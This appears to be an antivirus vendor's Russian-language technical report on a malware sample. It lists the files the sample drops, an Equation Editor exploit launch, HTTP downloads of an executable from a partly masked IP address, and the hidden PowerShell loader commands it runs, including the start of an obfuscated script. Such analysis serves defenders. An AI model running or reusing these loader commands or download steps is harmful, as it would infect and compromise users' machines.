Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '' (загружен из сети Интернет)
Создает и запускает на исполнение (эксплоит)
- '%APPDATA%\wlanext.exe'
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\wlanext.exe
- %TEMP%\nsj318c.tmp
- %TEMP%\daemonisk\prvelsens\noneclectically\bridleway.bli
- %TEMP%\daemonisk\prvelsens\noneclectically\scolecida\noninhabitant\variabelnavns.udd
- %TEMP%\daemonisk\prvelsens\noneclectically\scolecida\noninhabitant\poll.sti
- %TEMP%\daemonisk\prvelsens\noneclectically\sicilianerens\tilbagefrelsen\tilslagsmateriales\singlet.ret
- %TEMP%\daemonisk\prvelsens\noneclectically\sicilianerens\tilbagefrelsen\tilslagsmateriales\sminkekrukkens236.brt
- %TEMP%\daemonisk\prvelsens\noneclectically\astuteness\sugeskiverne\zinitas\reconsultation\bullwort.int
- %TEMP%\daemonisk\prvelsens\noneclectically\lykkeflelses\posnings\arbejdsvilkaar98\kathleen163\mandolin.txt
- %TEMP%\daemonisk\prvelsens\noneclectically\lykkeflelses\posnings\arbejdsvilkaar98\kathleen163\peasantlike.sel
- %TEMP%\daemonisk\prvelsens\noneclectically\tiltalefrafaldets\breaking\sheenies\roastable.tja
- %TEMP%\daemonisk\prvelsens\noneclectically\tiltalefrafaldets\breaking\sheenies\symbolize.sva
- <Текущая директория>\97861000
Подменяет следующие файлы
- <PATH_SAMPLE>.xls
Сетевая активность
Подключается к
- '17#.#45.208.4':80
TCP
Запросы HTTP GET
- http://17#.#45.208.4/wg/Microsoftdigitalwallettechnologydevelopedrecentlyforsecuritypurposetoprotectcustomer.Doc
- http://17#.#45.208.4/2546/wlanext.exe
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle minimized $fe32 = Get-Content '%TEMP%\daemonisk\prvelsens\noneclectically\Scolecida\noninhabitant\Variabelnavns.Udd' ; powershell.Exe "$fe32"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle minimized $fe32 = Get-Content '%TEMP%\daemonisk\prvelsens\noneclectically\Scolecida\noninhabitant\Variabelnavns.Udd' ; powershell.Exe "$fe32"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\winword.exe' -Embedding
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "<#Hokerer Ydedygtihedens Fredeliggres #>$Impuissance = """Fo;VaFIluTonBuc EtJaiBro BnNo IV FASyRsk5An3Ln Ir{Ne Bo El Ns InpBuaDerSiaKom J(Bl[ReSSitGrrSuiHonHygch]Fe`$OpSPakinePrwVib MaUnlFed ...
